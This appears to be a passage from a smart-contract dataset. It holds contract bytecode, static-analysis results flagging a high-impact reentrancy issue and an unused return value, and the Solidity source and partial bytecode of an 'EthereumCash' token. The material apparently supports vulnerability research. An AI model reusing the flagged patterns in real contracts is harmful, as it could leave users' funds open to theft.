612f27565b60405180910390fd5b683635c9adc5dea00000601581905550683635c9adc5dea00000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5249424f00000000000000000000000000000000000000000000000000000000815250905090565b6000610fc2610fbb611712565b84846118e3565b6001905092915050565b610fd4611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611061576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105890612f27565b60405180910390fd5b6000811161106e57600080fd5b61109d606461108f83683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60168190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e7611712565b73ffffffffffffffffffffffffffffffffffffffff161461110757600080fd5b600061111230610ced565b905061111d8161208b565b50565b611128611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ac90612f27565b60405180910390fd5b60148054906101000a900460ff1615611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa9061308f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061129330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061171a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130291906130c4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611369573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138d91906130c4565b6040518363ffffffff1660e01b81526004016113aa9291906130f1565b6020604051808303816000875af11580156113c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ed91906130c4565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061147630610ced565b600080611481610f48565b426040518863ffffffff1660e01b81526004016114a39695949392919061315f565b60606040518083038185885af11580156114c1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114e691906131d5565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff02191690831515021790555061154f60646115416001683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60158190555061158560646115776002683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611644929190613228565b6020604051808303816000875af1158015611663573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116879190613266565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611789576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178090613305565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ef90613397565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118d69190612b88565b60405180910390a3505050565b60008111611926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191d90613429565b60405180910390fd5b6001601460186101000a81548160ff021916908315150217905550611949610f48565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b75750611987610f48565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e7957601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a675750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611abd5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ad55750601460179054906101000a900460ff165b15611b4257601554811115611ae957600080fd5b60165481611af684610ced565b611b009190612f76565b1115611b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3890613495565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bea5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c435750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d1157600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cec5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cf557600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611d1c30610ced565b9050611d706064611d62601254611d54601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ced565b611eed90919063ffffffff16565b611f6790919063ffffffff16565b811115611dcc57611dc96064611dbb601254611dad601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ced565b611eed90919063ffffffff16565b611f6790919063ffffffff16565b90505b601460159054906101000a900460ff16158015611e375750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e4f5750601460169054906101000a900460ff165b15611e7757611e5d8161208b565b60004790506000811115611e7557611e7447611fb1565b5b505b505b611e84838383612304565b505050565b6000838311158290611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec891906129d2565b60405180910390fd5b5060008385611ee091906134b5565b9050809150509392505050565b6000808303611eff5760009050611f61565b60008284611f0d91906134e9565b9050828482611f1c9190613572565b14611f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5390613615565b60405180910390fd5b809150505b92915050565b6000611fa983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612314565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612019573d6000803e3d6000fd5b5050565b6000600954821115612064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205b906136a7565b60405180910390fd5b600061206e612377565b90506120838184611f6790919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120c3576120c2612ba8565b5b6040519080825280602002602001820160405280156120f15781602001602082028036833780820191505090505b509050308160008151811061210957612108612fcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121d491906130c4565b816001815181106121e8576121e7612fcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061224f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461171a565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122b3959493929190613785565b600060405180830381600087803b1580156122cd57600080fd5b505af11580156122e1573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b61230f8383836123a2565b505050565b6000808311829061235b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235291906129d2565b60405180910390fd5b506000838561236a9190613572565b9050809150509392505050565b600080600061238461256d565b9150915061239b8183611f6790919063ffffffff16565b9250505090565b6000806000806000806123b4876125cf565b95509550955095509550955061241286600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266490919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124a785600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ae90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f38161270c565b6124fd84836127c9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161255a9190612b88565b60405180910390a3505050505050505050565b600080600060095490506000683635c9adc5dea0000090506125a3683635c9adc5dea00000600954611f6790919063ffffffff16565b8210156125c257600954683635c9adc5dea000009350935050506125cb565b81819350935050505b9091565b60008060008060008060008060006125e5612803565b612603576125fe8a600b60020154600b6003015461281a565b612619565b6126188a600b60000154600b6001015461281a565b5b9250925092506000612629612377565b9050600080600061263c8e8787876128b0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e89565b905092915050565b60008082846126bd9190612f76565b905083811015612702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f99061382b565b60405180910390fd5b8091505092915050565b6000612716612377565b9050600061272d8284611eed90919063ffffffff16565b905061278181600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ae90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127de8260095461266490919063ffffffff16565b6009819055506127f981600a546126ae90919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b6000806000806128466064612838888a611eed90919063ffffffff16565b611f6790919063ffffffff16565b905060006128706064612862888b611eed90919063ffffffff16565b611f6790919063ffffffff16565b905060006128998261288b858c61266490919063ffffffff16565b61266490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128c98589611eed90919063ffffffff16565b905060006128e08689611eed90919063ffffffff16565b905060006128f78789611eed90919063ffffffff16565b9050600061292082612912858761266490919063ffffffff16565b61266490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612973578082015181840152602081019050612958565b83811115612982576000848401525b50505050565b6000601f19601f8301169050919050565b60006129a482612939565b6129ae8185612944565b93506129be818560208601612955565b6129c781612988565b840191505092915050565b600060208201905081810360008301526129ec8184612999565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a3382612a08565b9050919050565b612a4381612a28565b8114612a4e57600080fd5b50565b600081359050612a6081612a3a565b92915050565b6000819050919050565b612a7981612a66565b8114612a8457600080fd5b50565b600081359050612a9681612a70565b92915050565b60008060408385031215612ab357612ab26129fe565b5b6000612ac185828601612a51565b9250506020612ad285828601612a87565b9150509250929050565b60008115159050919050565b612af181612adc565b82525050565b6000602082019050612b0c6000830184612ae8565b92915050565b60008060008060808587031215612b2c57612b2b6129fe565b5b6000612b3a87828801612a87565b9450506020612b4b87828801612a87565b9350506040612b5c87828801612a87565b9250506060612b6d87828801612a87565b91505092959194509250565b612b8281612a66565b82525050565b6000602082019050612b9d6000830184612b79565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612be082612988565b810181811067ffffffffffffffff82111715612bff57612bfe612ba8565b5b80604052505050565b6000612c126129f4565b9050612c1e8282612bd7565b919050565b600067ffffffffffffffff821115612c3e57612c3d612ba8565b5b602082029050602081019050919050565b600080fd5b6000612c67612c6284612c23565b612c08565b90508083825260208201905060208402830185811115612c8a57612c89612c4f565b5b835b81811015612cb35780612c9f8882612a51565b845260208401935050602081019050612c8c565b5050509392505050565b600082601f830112612cd257612cd1612ba3565b5b8135612ce2848260208601612c54565b91505092915050565b600060208284031215612d0157612d006129fe565b5b600082013567ffffffffffffffff811115612d1f57612d1e612a03565b5b612d2b84828501612cbd565b91505092915050565b600080600060608486031215612d4d57612d4c6129fe565b5b6000612d5b86828701612a51565b9350506020612d6c86828701612a51565b9250506040612d7d86828701612a87565b9150509250925092565b600060208284031215612d9d57612d9c6129fe565b5b6000612dab84828501612a51565b91505092915050565b600060ff82169050919050565b612dca81612db4565b82525050565b6000602082019050612de56000830184612dc1565b92915050565b600060208284031215612e0157612e006129fe565b5b6000612e0f84828501612a87565b91505092915050565b612e2181612adc565b8114612e2c57600080fd5b50565b600081359050612e3e81612e18565b92915050565b600060208284031215612e5a57612e596129fe565b5b6000612e6884828501612e2f565b91505092915050565b612e7a81612a28565b82525050565b6000602082019050612e956000830184612e71565b92915050565b60008060408385031215612eb257612eb16129fe565b5b6000612ec085828601612a51565b9250506020612ed185828601612a51565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f11602083612944565b9150612f1c82612edb565b602082019050919050565b60006020820190508181036000830152612f4081612f04565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f8182612a66565b9150612f8c83612a66565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fc157612fc0612f47565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061300682612a66565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361303857613037612f47565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613079601783612944565b915061308482613043565b602082019050919050565b600060208201905081810360008301526130a88161306c565b9050919050565b6000815190506130be81612a3a565b92915050565b6000602082840312156130da576130d96129fe565b5b60006130e8848285016130af565b91505092915050565b60006040820190506131066000830185612e71565b6131136020830184612e71565b9392505050565b6000819050919050565b6000819050919050565b600061314961314461313f8461311a565b613124565b612a66565b9050919050565b6131598161312e565b82525050565b600060c0820190506131746000830189612e71565b6131816020830188612b79565b61318e6040830187613150565b61319b6060830186613150565b6131a86080830185612e71565b6131b560a0830184612b79565b979650505050505050565b6000815190506131cf81612a70565b92915050565b6000806000606084860312156131ee576131ed6129fe565b5b60006131fc868287016131c0565b935050602061320d868287016131c0565b925050604061321e868287016131c0565b9150509250925092565b600060408201905061323d6000830185612e71565b61324a6020830184612b79565b9392505050565b60008151905061326081612e18565b92915050565b60006020828403121561327c5761327b6129fe565b5b600061328a84828501613251565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132ef602483612944565b91506132fa82613293565b604082019050919050565b6000602082019050818103600083015261331e816132e2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613381602283612944565b915061338c82613325565b604082019050919050565b600060208201905081810360008301526133b081613374565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613413602983612944565b915061341e826133b7565b604082019050919050565b6000602082019050818103600083015261344281613406565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061347f601a83612944565b915061348a82613449565b602082019050919050565b600060208201905081810360008301526134ae81613472565b9050919050565b60006134c082612a66565b91506134cb83612a66565b9250828210156134de576134dd612f47565b5b828203905092915050565b60006134f482612a66565b91506134ff83612a66565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561353857613537612f47565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061357d82612a66565b915061358883612a66565b92508261359857613597613543565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135ff602183612944565b915061360a826135a3565b604082019050919050565b6000602082019050818103600083015261362e816135f2565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613691602a83612944565b915061369c82613635565b604082019050919050565b600060208201905081810360008301526136c081613684565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136fc81612a28565b82525050565b600061370e83836136f3565b60208301905092915050565b6000602082019050919050565b6000613732826136c7565b61373c81856136d2565b9350613747836136e3565b8060005b8381101561377857815161375f8882613702565b975061376a8361371a565b92505060018101905061374b565b5085935050505092915050565b600060a08201905061379a6000830188612b79565b6137a76020830187613150565b81810360408301526137b98186613727565b90506137c86060830185612e71565b6137d56080830184612b79565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613815601b83612944565b9150613820826137df565b602082019050919050565b6000602082019050818103600083015261384481613808565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202d455a7a0b1d6c919ddd0c1d851e08443ef964d71466198d74a2592296c5767064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,208 |
0x626f15006cbB983B87D6A2f1563F7A3758f67f9F
|
/**
*Submitted for verification at Etherscan.io on 2021-03-18
*/
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function mint(address recipient, uint256 amount) external returns (bool);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract EthereumCash is IERC20{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping(address => bool) private minters;
address public owner;
string private _name;
string private _symbol;
uint256 private _totalSupply;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
owner = msg.sender;
minters[msg.sender] = true;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
modifier onlyMinters(){
require(minters[msg.sender]);
_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Adds minter to the minters list for approval
*/
function addMinter() public {
minters[msg.sender] = false;
}
/**
* @dev get the status of the particular minter about the status
*/
function getStatus() public view returns (bool) {
return minters[msg.sender];
}
/**
* @dev approves the minter which already there in minters list *onlyOwner can do it
*/
function approveMinter(address _minter) public onlyOwner {
if(!minters[_minter]){
minters[_minter] = true;
}
}
/**
* @dev totalSupply of tokens
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev balanceOf tokens for particular address
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.mint`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function mint(address recipient, uint256 amount) public onlyMinters returns (bool) {
_mint(recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint256 amount) public onlyMinters {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(value);
_totalSupply = _totalSupply.sub(value);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80634e69d560116100715780634e69d560146102035780634e6ec2471461022557806370a08231146102735780638da5cb5b146102cb57806395d89b4114610315578063a9059cbb14610398576100a9565b8063031cf586146100ae57806306fdde03146100b857806318160ddd1461013b57806340c10f19146101595780634d197a9b146101bf575b600080fd5b6100b66103fe565b005b6100c0610458565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101005780820151818401526020810190506100e5565b50505050905090810190601f16801561012d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101436104fa565b6040518082815260200191505060405180910390f35b6101a56004803603604081101561016f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610504565b604051808215151515815260200191505060405180910390f35b610201600480360360208110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610570565b005b61020b610676565b604051808215151515815260200191505060405180910390f35b6102716004803603604081101561023b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ca565b005b6102b56004803603602081101561028957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610875565b6040518082815260200191505060405180910390f35b6102d36108bd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61031d6108e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035d578082015181840152602081019050610342565b50505050905090810190601f16801561038a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103e4600480360360408110156103ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610985565b604051808215151515815260200191505060405180910390f35b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550565b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104f05780601f106104c5576101008083540402835291602001916104f0565b820191906000526020600020905b8154815290600101906020018083116104d357829003601f168201915b5050505050905090565b6000600554905090565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661055c57600080fd5b61056683836106ca565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105ca57600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166106735760018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905090565b600160003373fffffffffffffffffffffffffff